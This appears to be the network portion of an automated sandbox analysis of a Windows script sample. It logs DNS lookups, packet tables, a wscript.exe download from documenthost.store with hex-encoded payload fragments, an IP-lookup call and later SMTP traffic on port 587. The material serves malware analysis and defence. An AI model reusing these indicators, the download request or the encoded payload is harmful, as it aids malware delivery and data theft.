Nov 12, 2024 13:39:52.623756886 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.657546997 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.657603979 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.657614946 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.657653093 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.704055071 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.704230070 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.774688005 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.774708986 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.774774075 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.774795055 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.774821043 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.774846077 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.857625008 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.857687950 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.857794046 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.857794046 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.857811928 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.891935110 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.891977072 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.892015934 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.892035007 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.892070055 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.892359018 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.974323034 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.974443913 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.974632025 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.974689007 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.974762917 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.974822044 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.975332022 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.975385904 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.091486931 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.091525078 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.091588020 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.091603994 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.091660976 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.091660976 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.092374086 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.092428923 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.092436075 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.125941992 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.126019001 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.126034021 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.126075983 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.126096964 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.126152992 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.208616018 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.208655119 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.208709955 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.208729982 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.208775043 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.209043980 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.209119081 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.243262053 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.243310928 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.243422985 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.243422985 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.243446112 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.294069052 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.330271959 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.330284119 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.330321074 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.330352068 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.330358982 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.330383062 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.330415010 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.330429077 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.360960960 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.360985994 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.361073971 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.361087084 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.361104012 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.403495073 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.419517994 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.443665028 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.443706036 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.443722010 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.443778038 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.443793058 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.443841934 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.443841934 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.477618933 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.477829933 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.477907896 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.477974892 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.477984905 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.478029966 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.537524939 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.537638903 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.537655115 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.560956001 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.560998917 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.561079979 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.561099052 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.561175108 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.561175108 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.594934940 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.594976902 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.595026016 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.595032930 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.595077038 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.595496893 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.595556021 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.595563889 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.637837887 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.677809000 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.677843094 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.677890062 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.677900076 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.677932978 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.677944899 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.718182087 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.718219042 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.718265057 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.718276978 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.718308926 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.754564047 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.754643917 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.754667044 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.754743099 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.771239996 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.771336079 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.771349907 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.771401882 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.772464037 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.772464037 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:53.772486925 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:53.772501945 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:04.031270981 CET	49709	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:04.031342030 CET	443	49709	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:04.031421900 CET	49709	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:04.031707048 CET	49709	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:04.031728029 CET	443	49709	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:04.633090973 CET	443	49709	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:04.633177042 CET	49709	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:04.634656906 CET	49709	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:04.634677887 CET	443	49709	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:04.634973049 CET	443	49709	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:04.635859013 CET	49709	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:04.679336071 CET	443	49709	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:05.028769016 CET	443	49709	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:05.028826952 CET	443	49709	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:05.028919935 CET	49709	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:05.029380083 CET	49709	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:05.029400110 CET	443	49709	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:05.029412031 CET	49709	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:05.029417038 CET	443	49709	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:05.288558006 CET	49712	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:05.288621902 CET	443	49712	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:05.288706064 CET	49712	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:05.288980007 CET	49712	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:05.288996935 CET	443	49712	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:05.930186033 CET	443	49712	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:05.930252075 CET	49712	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:05.961549044 CET	49712	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:05.961604118 CET	443	49712	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:05.961872101 CET	443	49712	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:05.979307890 CET	49712	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:06.027329922 CET	443	49712	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:06.382245064 CET	443	49712	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:06.382287025 CET	443	49712	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:06.382311106 CET	443	49712	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:06.382347107 CET	49712	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:06.382380962 CET	443	49712	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:06.382400036 CET	443	49712	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:06.382462025 CET	49712	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:06.382462025 CET	49712	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:06.382754087 CET	49712	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:06.382771015 CET	443	49712	172.67.215.48	192.168.2.5
Nov 12, 2024 13:40:06.382787943 CET	49712	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:40:06.382792950 CET	443	49712	172.67.215.48	192.168.2.5
Nov 12, 2024 13:41:09.504411936 CET	49981	443	192.168.2.5	104.26.12.205
Nov 12, 2024 13:41:09.504451036 CET	443	49981	104.26.12.205	192.168.2.5
Nov 12, 2024 13:41:09.504549026 CET	49981	443	192.168.2.5	104.26.12.205
Nov 12, 2024 13:41:09.526463032 CET	49981	443	192.168.2.5	104.26.12.205
Nov 12, 2024 13:41:09.526488066 CET	443	49981	104.26.12.205	192.168.2.5
Nov 12, 2024 13:41:10.167783022 CET	443	49981	104.26.12.205	192.168.2.5
Nov 12, 2024 13:41:10.167850971 CET	49981	443	192.168.2.5	104.26.12.205
Nov 12, 2024 13:41:10.170207977 CET	49981	443	192.168.2.5	104.26.12.205
Nov 12, 2024 13:41:10.170219898 CET	443	49981	104.26.12.205	192.168.2.5
Nov 12, 2024 13:41:10.170456886 CET	443	49981	104.26.12.205	192.168.2.5
Nov 12, 2024 13:41:10.215429068 CET	49981	443	192.168.2.5	104.26.12.205
Nov 12, 2024 13:41:10.248986006 CET	49981	443	192.168.2.5	104.26.12.205
Nov 12, 2024 13:41:10.295341969 CET	443	49981	104.26.12.205	192.168.2.5
Nov 12, 2024 13:41:10.426990032 CET	443	49981	104.26.12.205	192.168.2.5
Nov 12, 2024 13:41:10.427061081 CET	443	49981	104.26.12.205	192.168.2.5
Nov 12, 2024 13:41:10.427212000 CET	49981	443	192.168.2.5	104.26.12.205
Nov 12, 2024 13:41:10.435894012 CET	49981	443	192.168.2.5	104.26.12.205
Nov 12, 2024 13:41:11.652475119 CET	49983	587	192.168.2.5	162.254.34.31
Nov 12, 2024 13:41:11.658385038 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:11.658462048 CET	49983	587	192.168.2.5	162.254.34.31
Nov 12, 2024 13:41:12.449523926 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:12.449799061 CET	49983	587	192.168.2.5	162.254.34.31
Nov 12, 2024 13:41:12.455122948 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:12.609038115 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:12.609981060 CET	49983	587	192.168.2.5	162.254.34.31
Nov 12, 2024 13:41:12.615017891 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:12.769959927 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:12.770906925 CET	49983	587	192.168.2.5	162.254.34.31
Nov 12, 2024 13:41:12.775801897 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:12.947962046 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:12.948215961 CET	49983	587	192.168.2.5	162.254.34.31
Nov 12, 2024 13:41:12.953165054 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:13.107741117 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:13.110208035 CET	49983	587	192.168.2.5	162.254.34.31
Nov 12, 2024 13:41:13.115219116 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:13.271050930 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:13.274245024 CET	49983	587	192.168.2.5	162.254.34.31
Nov 12, 2024 13:41:13.279223919 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:13.433584929 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:13.436835051 CET	49983	587	192.168.2.5	162.254.34.31
Nov 12, 2024 13:41:13.436878920 CET	49983	587	192.168.2.5	162.254.34.31
Nov 12, 2024 13:41:13.436908007 CET	49983	587	192.168.2.5	162.254.34.31
Nov 12, 2024 13:41:13.436924934 CET	49983	587	192.168.2.5	162.254.34.31
Nov 12, 2024 13:41:13.441798925 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:13.441808939 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:13.441896915 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:13.441906929 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:13.600332022 CET	587	49983	162.254.34.31	192.168.2.5
Nov 12, 2024 13:41:13.653059006 CET	49983	587	192.168.2.5	162.254.34.31

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 13:39:47.388715029 CET	59200	53	192.168.2.5	1.1.1.1
Nov 12, 2024 13:39:47.441085100 CET	53	59200	1.1.1.1	192.168.2.5
Nov 12, 2024 13:41:09.464888096 CET	55321	53	192.168.2.5	1.1.1.1
Nov 12, 2024 13:41:09.471939087 CET	53	55321	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 13:39:47.388715029 CET	192.168.2.5	1.1.1.1	0xb996	Standard query (0)	documenthost.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:41:09.464888096 CET	192.168.2.5	1.1.1.1	0x8d2d	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 13:39:47.441085100 CET	1.1.1.1	192.168.2.5	0xb996	No error (0)	documenthost.store	172.67.215.48	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:39:47.441085100 CET	1.1.1.1	192.168.2.5	0xb996	No error (0)	documenthost.store	104.21.45.141	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:41:09.471939087 CET	1.1.1.1	192.168.2.5	0x8d2d	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:41:09.471939087 CET	1.1.1.1	192.168.2.5	0x8d2d	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:41:09.471939087 CET	1.1.1.1	192.168.2.5	0x8d2d	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

documenthost.store

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	172.67.215.48	443	7252	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:39:48 UTC	158	OUT	GET /2910/s HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: documenthost.store
2024-11-12 12:39:48 UTC	817	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:39:48 GMT Content-Length: 27312 Connection: close Last-Modified: Wed, 02 Oct 2024 01:26:13 GMT ETag: "6ab0-6237452d358f3" Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=72rmsUZ72JBQbM3383%2F8QxxTQQPzOBIzAyqq54QNo4EjzJu08hmUQ9EAe2n8PnEtYsRdxiE%2BEJmmCiJkc6DF3G0%2FcW2xRkrM1y2p5uU0lIYwc8bMvy7p7ugNl59YpPOuN7pRGF0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e16963e2a547d57-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1073&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=772&delivery_rate=2656880&cwnd=251&unsent_bytes=0&cid=ac80482f3b709666&ts=455&x=0"
2024-11-12 12:39:48 UTC	552	IN	Data Raw: 33 44 33 44 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 Data Ascii: 3D3D41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414
2024-11-12 12:39:48 UTC	1369	IN	Data Raw: 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 Data Ascii: 414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414
2024-11-12 12:39:48 UTC	1369	IN	Data Raw: 39 34 44 36 41 36 34 37 35 33 30 33 32 36 33 36 38 37 30 35 34 36 32 37 36 34 45 35 37 34 43 33 30 35 41 33 32 36 32 37 41 33 39 36 44 36 33 36 41 36 43 35 37 36 32 37 34 34 44 35 38 35 39 37 34 35 36 34 37 36 31 36 41 34 45 36 45 34 46 37 35 34 41 35 38 36 34 36 39 33 30 37 41 36 33 37 35 37 38 35 37 36 32 33 34 34 32 37 39 36 33 36 43 36 34 35 37 35 41 37 33 36 43 36 44 36 34 37 30 34 41 34 38 35 35 36 42 35 36 34 37 36 34 37 41 35 36 35 37 36 34 37 38 35 36 36 44 36 33 33 38 34 31 34 33 34 39 36 37 34 31 34 33 34 39 36 37 36 46 35 31 34 34 32 42 36 42 34 38 36 34 37 30 34 41 35 38 36 34 36 41 35 36 33 32 36 33 33 38 34 31 34 33 34 39 36 37 34 31 36 39 34 33 34 45 33 34 36 41 34 39 37 39 35 39 36 45 34 43 37 34 34 45 35 38 35 39 33 36 33 30 33 32 36 32 Data Ascii: 94D6A647530326368705462764E574C305A32627A396D636A6C5762744D5859745647616A4E6E4F754A586469307A6375785762344279636C64575A736C6D64704A48556B5647647A56576478566D633841434967414349676F51442B6B4864704A58646A56326338414349674169434E346A4979596E4C744E585936303262
2024-11-12 12:39:48 UTC	1369	IN	Data Raw: 34 32 37 37 36 32 34 31 34 39 34 38 34 31 35 31 34 32 35 31 34 31 34 31 33 34 34 31 34 31 33 38 34 31 34 31 34 31 34 31 35 35 34 37 34 31 33 34 34 32 35 31 35 41 34 31 33 34 34 33 34 31 33 30 34 31 36 37 34 44 34 31 34 31 34 34 34 31 37 39 34 31 34 31 34 44 34 31 34 35 34 34 34 31 37 39 34 31 34 31 34 44 34 31 35 31 34 37 34 31 37 33 34 32 35 31 36 31 34 31 35 35 34 38 34 31 34 33 34 32 34 31 34 31 34 31 35 35 34 37 34 31 37 34 34 32 35 31 35 39 34 31 33 34 34 37 34 31 36 43 34 32 34 31 36 32 34 31 36 42 34 37 34 31 34 37 34 32 34 31 36 32 34 31 34 35 34 37 34 31 37 35 34 32 35 31 36 31 34 31 36 33 34 37 34 31 37 30 34 32 36 37 36 33 34 31 33 38 34 35 34 31 34 32 34 31 36 37 34 35 34 31 37 37 34 35 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 Data Ascii: 42776241494841514251414134414138414141415547413442515A413443413041674D414144417941414D414544417941414D415147417342516141554841434241414155474174425159413447416C424162416B4741474241624145474175425161416347417042676341384541424167454177454141414141414141414
2024-11-12 12:39:48 UTC	1369	IN	Data Raw: 31 34 43 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 37 35 34 32 37 37 36 32 34 31 36 42 34 37 34 31 33 30 34 32 35 31 35 39 34 31 37 37 34 37 34 31 37 41 34 32 36 37 36 32 34 31 34 35 34 37 34 31 37 39 34 32 34 31 35 36 34 31 34 31 34 31 34 31 34 35 34 31 34 31 34 41 34 31 34 31 34 31 34 31 34 31 34 31 37 37 36 32 34 31 35 39 34 37 34 31 37 35 34 32 35 31 35 33 34 31 35 35 34 37 34 31 37 33 34 32 35 31 36 31 34 31 35 39 34 35 34 31 37 39 34 32 35 31 35 39 34 31 35 39 34 36 34 31 34 32 34 31 34 31 34 31 34 31 35 31 34 35 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 35 31 34 31 34 31 34 31 34 31 34 31 34 35 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 37 37 35 30 34 31 Data Ascii: 14C41414141414141414175427762416B474130425159417747417A4267624145474179424156414141414541414A414141414141776241594741754251534155474173425161415945417942515941594641424141414151454141414141414141414141414141414141414151414141414145414141414141414141775041
